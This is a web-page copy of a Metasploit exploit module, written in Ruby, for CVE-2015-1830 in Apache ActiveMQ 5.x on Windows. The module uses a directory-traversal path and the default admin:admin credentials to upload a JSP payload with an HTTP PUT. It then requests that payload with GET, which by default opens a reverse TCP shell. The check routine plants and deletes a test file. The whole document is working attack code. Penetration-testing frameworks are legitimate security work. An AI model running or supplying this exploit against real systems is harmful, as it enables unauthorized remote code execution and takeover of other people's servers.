Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/apache_activemq_traversal_upload.rb
32435 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
16
'Description' => %q{
17
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
18
ActiveMQ 5.x before 5.11.2 for Windows.
19
20
The module tries to upload a JSP payload to the /admin directory via the traversal
21
path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
22
credentials admin:admin (or other credentials provided by the user). It then issues
23
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
24
payload and obtain a shell.
25
},
26
'Author' => [
27
'David Jorm', # Discovery and exploit
28
'Erik Wynter' # @wyntererik - Metasploit
29
],
30
'References' => [
31
[ 'CVE', '2015-1830' ],
32
[ 'EDB', '40857'],
33
[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
34
],
35
'Privileged' => false,
36
'Targets' => [
37
[
38
'Windows Java',
39
{
40
'Arch' => ARCH_JAVA,
41
'Platform' => 'win'
42
}
43
],
44
],
45
'DisclosureDate' => '2015-08-19',
46
'License' => MSF_LICENSE,
47
'DefaultOptions' => {
48
'RPORT' => 8161,
49
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
50
},
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Stability' => [ CRASH_SAFE ],
54
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
55
'Reliability' => [ REPEATABLE_SESSION ]
56
}
57
)
58
)
59
60
register_options([
61
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
62
OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),
63
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
64
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
65
])
66
end
67
68
def check
69
print_status('Running check...')
70
testfile = Rex::Text.rand_text_alpha(10)
71
testcontent = Rex::Text.rand_text_alpha(10)
72
73
send_request_cgi({
74
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
75
'headers' => {
76
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
77
},
78
'method' => 'PUT',
79
'data' => "<% out.println(\"#{testcontent}\");%>"
80
})
81
82
res1 = send_request_cgi({
83
'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
84
'headers' => {
85
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
86
},
87
'method' => 'GET'
88
})
89
90
if res1 && res1.body.include?(testcontent)
91
send_request_cgi(
92
{
93
'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
94
'headers' => {
95
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
96
},
97
'method' => 'DELETE'
98
},
99
1
100
)
101
return Exploit::CheckCode::Vulnerable
102
end
103
104
Exploit::CheckCode::Safe
105
end
106
107
def exploit
108
print_status('Uploading payload...')
109
testfile = Rex::Text.rand_text_alpha(10)
110
vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") # This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.
111
112
send_request_cgi({
113
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
114
'headers' => {
115
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
116
},
117
'method' => 'PUT',
118
'data' => payload.encoded
119
})
120
121
print_status('Payload sent. Attempting to execute the payload.')
122
res = send_request_cgi({
123
'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
124
'headers' => {
125
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
126
},
127
'method' => 'GET'
128
})
129
if res && res.code == 200
130
print_good('Payload executed!')
131
else
132
fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
133
end
134
end
135
end
136
137